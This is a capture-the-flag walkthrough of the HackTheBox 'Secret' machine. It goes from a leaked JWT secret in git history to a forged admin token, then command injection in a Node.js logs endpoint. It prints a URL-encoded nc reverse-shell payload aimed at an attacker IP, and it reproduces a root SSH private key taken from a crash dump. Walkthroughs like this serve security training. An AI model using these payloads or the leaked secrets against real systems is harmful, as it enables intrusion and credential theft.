HackTheBox Walkthrough : Secret

Today we have another challenge from hackthebox called secret which is designed by “z9fr“. We are going to learn various techniques like enumerating commits , analyzing the application code , exploiting API , much more, So without wasting time let start.

Level : Medium

Attacking Strategy

  • Network Scanning
    • Nmap
  • Enumeration
    • Content Discovery using feroxbuster
    • Code Analyzing
    • Git Extractor
      • Secret Token
    • Create User
    • Forging User
  • Exploitation
    • Command Execution
    • Reverse Shell
  • Privilege Escalation
  • Exploiting the binary
  • root access

Walkthrough

IP address : 10.10.11.120

Starting with nmap script scan on target provide the information about running services and open ports on target .

nmap -p- -sC -sV --min-rate 10000 -oN nmap 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up (0.087s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From nmap port 22 for SSH , port 80 for HTTP service and on port 3000 nodejs (Express middle ware) is running on target , from nmap we didn’t get much information . After review the nmap result on port 80 there some application is hosted .

Enumeration

On visiting the profile its an API based authentication system and they are using JWT tokens to make things more secure. On home page we have some documentation about how to register the users, login user and how application react if you have admin rights or normal user . At the end of application we get the link for some files, for more content we fire the feroxbuster to see any hidden endpoint of the application.

feroxbuster --url http://10.10.11.120/

After visiting several points we download the file and extract it .

wget http://10.10.11.120/download/files.zip
unzip files.zip

After unzip and seeing the files it look like the source code for the hosted application and on the homepage they also mention about there opensource project and on same side .git folder is also there which gives a path for enumeration .

git clone https://github.com/internetwache/GitTools.git

While attacking the application , obtaining the application source code matter a lot for an attacker which can helpful in constructing the exploit for the application ,s o its time to analyze the source code . Applications expose source code to the public through an exposed .git directory .

Git directory is used to store the version control information of the project , including all the commit history of project files. So if attacker get the hand on git files than they can reconstruct the information like hard-coded API keys , Token values , secret keys,etc . For reconstructing the information GitTools play a role as there is an extractor program to extract the information from .git path.

cd GitTools/Extractor
#./extractor.sh {Path of git folder} {Path to store information}
./extractor.sh local-web/ git_dump

After some time we got some information about the changes which are occurs in development phase and there we got the TOKEN_SECRET.

TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

After investing some time on git enumeration its time to review the application code . Now there are some files which look interesting in routes directory like auth.js , forgot.js , private.js , verfiytoken.js files .

Index.js

This is the first landing page which is hit by the request from the client side .

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const dotenv = require('dotenv')
const privRoute = require('./routes/private')
const bodyParser = require('body-parser')

app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.use('/download', express.static(__dirname + 'public/source'))

app.set('views', './src/views')
app.set('view engine', 'ejs')


// import routs 
const authRoute = require('./routes/auth');
const webroute = require('./src/routes/web')

dotenv.config();
//connect db 

mongoose.connect(process.env.DB_CONNECT, { useNewUrlParser: true }, () =>
    console.log("connect to db!")
);

//middle ware 
app.use(express.json());
app.use('/api/user',authRoute)
app.use('/api/', privRoute)
app.use('/', webroute)

app.listen(3000, () => console.log("server up and running"));

from code we get the authroute and webroute path which is called by further endpoint .

Auth.js

Authentication file reveals one important thing i.e how JWT is created for the user , it contains the username , email address and it also require the token secret which is already obtained from git extractor .

const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')

router.post('/register', async (req, res) => {

    // validation
    const { error } = registerValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if user exists
    const emailExist = await User.findOne({email:req.body.email})
    if (emailExist) return res.status(400).send('Email already Exist')

    // check if user name exist 
    const unameexist = await User.findOne({ name: req.body.name })
    if (unameexist) return res.status(400).send('Name already Exist')

    //hash the password
    const salt = await bcrypt.genSalt(10);
    const hashPaswrod = await bcrypt.hash(req.body.password, salt)


    //create a user 
    const user = new User({
        name: req.body.name,
        email: req.body.email,
        password:hashPaswrod
    });

    try{
        const saveduser = await user.save();
        res.send({ user: user.name})
    
    }
    catch(err){
        console.log(err)
    }

});


// login 

router.post('/login', async  (req , res) => {

    const { error } = loginValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if email is okay 
    const user = await User.findOne({ email: req.body.email })
    if (!user) return res.status(400).send('Email is wrong');

    // check password 
    const validPass = await bcrypt.compare(req.body.password, user.password)
    if (!validPass) return res.status(400).send('Password is wrong');


    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});

module.exports = router
Creating user

From code , to create new user there are three parameter are to be pass i.e username , email address , password to register endpoint by making the POST request to /api/user/register which return the username after success request made to the application.

curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "pentestsky","email": "[email protected]","password": "[email protected]"}'
Login user

For login a POST request is made to /api/user/login with email address and password as parameter and an authentication token will generate for that user .

curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "[email protected]","password": "[email protected]"}'

now if we some how modify the token then there are chances to get the administrator accounts as token secret value are know . JWT debugger

Private.js

While analyzing more route files , private.js have some important paths like priv and logs and information.

const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})


router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});


module.exports = router

from code its clear that the admin username is “theadmin” and to access the priv endpoints and logs endpoints we need to be admin .

Now to get admin JWT we need to modify the username and putting the secret token value which is retrieve from git .

Once the process is completed we get the new token and to verify weather we are admin or not for that a request is to made at /api/priv as its define in code with new token.

auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3MWY2NDhhZDQwZTA0NWZkMDAzY2YiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImNvbnRhY3RAcGVudGVzdHNreS5pbiIsImlhdCI6MTYzODM0Mjg4MX0.WbcNihMuMTeuLcS-69sPPKNZkGruHYhUXSM_BvuBwZs
curl http://secret.htb/api/priv -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3MWY2NDhhZDQwZTA0NWZkMDAzY2YiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImNvbnRhY3RAcGVudGVzdHNreS5pbiIsImlhdCI6MTYzODM0Mjg4MX0.WbcNihMuMTeuLcS-69sPPKNZkGruHYhUXSM_BvuBwZs'

Exploitation

While analyzing the code at private.js , there will be possibility of code execution .

To verify let make the request with admin right to the application .

curl 'http://secret.htb/api/logs?file=id' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3MWY2NDhhZDQwZTA0NWZkMDAzY2YiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImNvbnRhY3RAcGVudGVzdHNreS5pbiIsImlhdCI6MTYzODM0Mjg4MX0.WbcNihMuMTeuLcS-69sPPKNZkGruHYhUXSM_BvuBwZs'

Privilege Escalation

To get the reverse shell the payload must be URL encoded without encode the request will get break . we got the session with dasith user.

curl 'http://secret.htb/api/logs?file=20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.27%201234%20%3E%2Ftmp%2Ff' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3MWY2NDhhZDQwZTA0NWZkMDAzY2YiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImNvbnRhY3RAcGVudGVzdHNreS5pbiIsImlhdCI6MTYzODM0Mjg4MX0.WbcNihMuMTeuLcS-69sPPKNZkGruHYhUXSM_BvuBwZs'

While enumerating further the box we get two file i.e code.c and count binary . In code core dump is enable which help in analysis of crash dump for more you can read here.

when we run the compiled binary on which suid bit is set it ask for file path its means program will load that file into its stack and hold it until the program finished what about if the program crash in between that’s means in crash report those data is also there . Now to perform this we need two session of the target ,in one session run the binary and give the path of file which we want to load here we want key of root user .

shell 1

While in one session program is running on another session we kill the process so that crash data will be created under /var/crash directory .

shell 2
cd /var/crash 
apport-unpack _opt_count.1000.crash /home/dasith/dump/
mkdir /home/dasith/dump
cat CoreDump

By using apport-unpack we easily debug the crash of the program . All the crash data are stored under dump directory in which CoreDump have the information what we need .

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We got the key for root user and collect the flags.

References

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.